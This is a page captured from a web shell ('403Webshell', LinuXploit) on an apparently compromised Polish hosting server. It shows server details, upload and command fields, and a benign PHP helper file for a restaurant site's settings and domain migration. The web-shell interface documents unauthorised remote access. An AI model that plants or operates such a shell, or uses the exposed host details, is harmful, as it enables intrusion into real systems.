403Webshell
Server IP : 188.114.96.3  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux sv058.home.net.pl 6.8.2 husak_dirty_pages_fix #1 SMP PREEMPT_DYNAMIC Tue Apr 2 22:06:51 CEST 2024 x86_64
User :  ( 3194769)
PHP Version : 8.5.12
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /polana/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /polana/includes/polana_v168_config_tools.php
<?php
declare(strict_types=1);
/** POLANA V16.8 — helpers, no credentials and no network requests. */
function pv168_h($v): string { return htmlspecialchars((string)$v, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8'); }
function pv168_root(): string { return dirname(__DIR__); }
function pv168_backup_dir(): string { return dirname(pv168_root()).'/.polana_v168_safe_backups'; }
function pv168_prepare_dir(): string {
    $dir=pv168_backup_dir();
    if (!is_dir($dir) && !@mkdir($dir,0700,true)) throw new RuntimeException('Nie można utworzyć prywatnego katalogu kopii poza WWW. Nic nie zapisano.');
    if (!is_writable($dir) || is_link($dir)) throw new RuntimeException('Katalog kopii nie jest zapisywalny lub jest dowiązaniem. Nic nie zapisano.');
    @chmod($dir,0700);
    return $dir;
}
function pv168_file_put_private(string $path,string $content): void {
    if (file_put_contents($path,$content,LOCK_EX)!==strlen($content)) throw new RuntimeException('Nie zapisano kopii: '.basename($path));
    @chmod($path,0600);
}
function pv168_atomic_replace(string $file,string $content): void {
    if (is_link($file)) throw new RuntimeException('Odmowa podmiany dowiązania: '.basename($file));
    $dir=dirname($file);
    if (!is_dir($dir)||!is_writable($dir)) throw new RuntimeException('Brak zapisu do katalogu: '.basename($dir));
    $temp=tempnam($dir,'.polana168-');
    if ($temp===false) throw new RuntimeException('Brak możliwości utworzenia pliku tymczasowego.');
    try {
        if (file_put_contents($temp,$content,LOCK_EX)!==strlen($content)) throw new RuntimeException('Niepełny zapis nowego pliku');
        @chmod($temp,is_file($file)?(fileperms($file)&0777):0644);
        if (!rename($temp,$file)) throw new RuntimeException('Nie udało się podmienić pliku: '.basename($file));
    } finally { if (is_file($temp)) @unlink($temp); }
}
function pv168_read_settings(array $keys): array {
    $map=[];
    $q=db()->prepare('SELECT setting_key,setting_value FROM settings WHERE setting_key IN ('.implode(',',array_fill(0,count($keys),'?')).')');
    $q->execute($keys);
    foreach($q->fetchAll(PDO::FETCH_ASSOC) as $r) $map[(string)$r['setting_key']] = (string)($r['setting_value']??'');
    return $map;
}
function pv168_domains(string $src): array {
    // Only static PHP string literals in a simple configuration file. Never rewrite PHP logic or redirect rules.
    if (strlen($src)>131072) throw new RuntimeException('Konfiguracja domeny jest nieoczekiwanie duża. Wymagana kontrola ręczna.');
    if (preg_match('/\$_SERVER\s*\[|\bheader\s*\(|\bredirect\s*\(|Location:|HTTP_HOST/i',$src))
        throw new RuntimeException('Plik polana_domain.php zawiera reguły żądań/przekierowań. Zostawiam go bez zmian, aby nie spowodować pętli.');
    if (str_contains($src,'mojapolanasmakow.pl') && preg_match('/(?<!moja)polanasmakow\.pl/i',$src))
        throw new RuntimeException('Plik domeny zawiera jednocześnie starą i nową nazwę. Wymaga przeglądu, aby nie zmienić źródła przekierowań.');
    $tokens=token_get_all($src,TOKEN_PARSE);
    $out=''; $changed=0; $seenOld=false;
    foreach ($tokens as $t) {
        if (!is_array($t)) { $out.=$t; continue; }
        $content=$t[1];
        if ($t[0]===T_CONSTANT_ENCAPSED_STRING && strlen($content)>=2) {
            $quote=$content[0]; $inner=substr($content,1,-1);
            $wanted = [
                'https://polanasmakow.pl'=>'https://mojapolanasmakow.pl',
                'https://polanasmakow.pl/'=>'https://mojapolanasmakow.pl/',
                'http://polanasmakow.pl'=>'https://mojapolanasmakow.pl',
                'http://polanasmakow.pl/'=>'https://mojapolanasmakow.pl/',
                'polanasmakow.pl'=>'mojapolanasmakow.pl',
            ];
            if (array_key_exists($inner,$wanted)) {
                $seenOld=true; $changed++;
                $content=$quote.$wanted[$inner].$quote;
            }
        }
        $out.=$content;
    }
    if ($changed===0 && preg_match('/(?<!moja)polanasmakow\.pl/i',$src))
        throw new RuntimeException('polana_domain.php zawiera starą domenę w nieznanym formacie. Nie zmieniam tego pliku automatycznie.');
    if ($changed>0 && preg_match('/(?<!moja)polanasmakow\.pl/i',$out))
        throw new RuntimeException('Nie wszystkie odwołania do starej domeny dają się bezpiecznie zastąpić. Plik pozostał bez zmian.');
    return ['new'=>$out,'changes'=>$changed,'status'=>$changed?'Podmieniono '.$changed.' statycznych wartości w polana_domain.php':'Domena w pliku nie wymaga zmiany'];
}
function pv168_shortcut_patch(string $src): ?string {
    if (str_contains($src,'POLANA_V168_SETTINGS_SHORTCUT')) return null;
    $pattern='~render_admin_header\s*\([^;]*\)\s*;~s';
    if (!preg_match($pattern,$src)) return null;
    $insertion="\n/* POLANA_V168_SETTINGS_SHORTCUT */\nif ((admin_user()['role'] ?? '') === 'admin') echo '<div style=\"max-width:1180px;margin:12px auto;padding:14px 18px;border:1px solid #d1dfb3;background:#f2f7e8;border-radius:12px\"><strong>Ustawienia i domena:</strong> <a style=\"color:#285500;font-weight:700\" href=\"/admin/polana-v168-ustawienia.php\">Edytuj wszystkie dane, e-mail rezerwacji i domenę główną →</a></div>';\n";
    return preg_replace($pattern,'$0'.$insertion,$src,1);
}
function pv168_check_php(string $code): void {
    try {token_get_all($code,TOKEN_PARSE);}catch(ParseError $e){throw new RuntimeException('Błąd składni proponowanej zmiany PHP: '.$e->getMessage(),0,$e);}
}
function pv168_validate(string $key,string $value): string {
    $v=trim($value);
    if (strlen($v)>16000) throw new RuntimeException('Zbyt długa wartość pola '.$key);
    if ($key==='site_url') {
        if ($v!=='https://mojapolanasmakow.pl') throw new RuntimeException('Domena główna musi być dokładnie https://mojapolanasmakow.pl');
    } elseif (in_array($key,['email','reservation_admin_email','smtp_from_email'],true)) {
        if ($v!=='' && !filter_var($v,FILTER_VALIDATE_EMAIL)) throw new RuntimeException('Nieprawidłowy adres w polu '.$key);
    } elseif (in_array($key,['smtp_enabled','reservations_enabled','reservation_auto_reply_enabled'],true)) {
        if (!in_array($v,['0','1'],true)) throw new RuntimeException('Nieprawidłowy przełącznik: '.$key);
    } elseif ($key==='smtp_security') {
        if (!in_array($v,['starttls','ssl','none'],true)) throw new RuntimeException('Nieprawidłowe szyfrowanie SMTP');
    } elseif ($key==='smtp_port') {
        if ($v!=='' && (!ctype_digit($v)||(int)$v<1||(int)$v>65535)) throw new RuntimeException('Nieprawidłowy port SMTP');
    } elseif (in_array($key,['tips_waiter_percent','tips_kitchen_percent'],true)) {
        if (!ctype_digit($v)||(int)$v>100) throw new RuntimeException('Nieprawidłowy procent napiwków');
    } elseif (in_array($key,['schedule_min_waiters','schedule_min_kitchen'],true)) {
        if (!ctype_digit($v)||(int)$v>20) throw new RuntimeException('Nieprawidłowe minimum grafiku');
    } elseif (in_array($key,['company_nip','company_regon'],true) && $v!=='') {
        if (!preg_match('/^[0-9\s-]{7,18}$/',$v)) throw new RuntimeException('Błąd formatu danych firmowych');
    }
    return $v;
}
function pv168_write_db(array $rows): void {
    $st=db()->prepare('INSERT INTO settings (setting_key,setting_value) VALUES (?,?) ON DUPLICATE KEY UPDATE setting_value=VALUES(setting_value)');
    foreach($rows as $key=>$v) $st->execute([(string)$key,(string)$v]);
}
function pv168_restore_db(array $before): void {
    $put=db()->prepare('INSERT INTO settings (setting_key,setting_value) VALUES (?,?) ON DUPLICATE KEY UPDATE setting_value=VALUES(setting_value)');
    $del=db()->prepare('DELETE FROM settings WHERE setting_key=?');
    foreach($before as $key=>$value){ if($value===null)$del->execute([$key]);else $put->execute([$key,$value]); }
}

Youez - 2016 - github.com/yon3zu
LinuXploit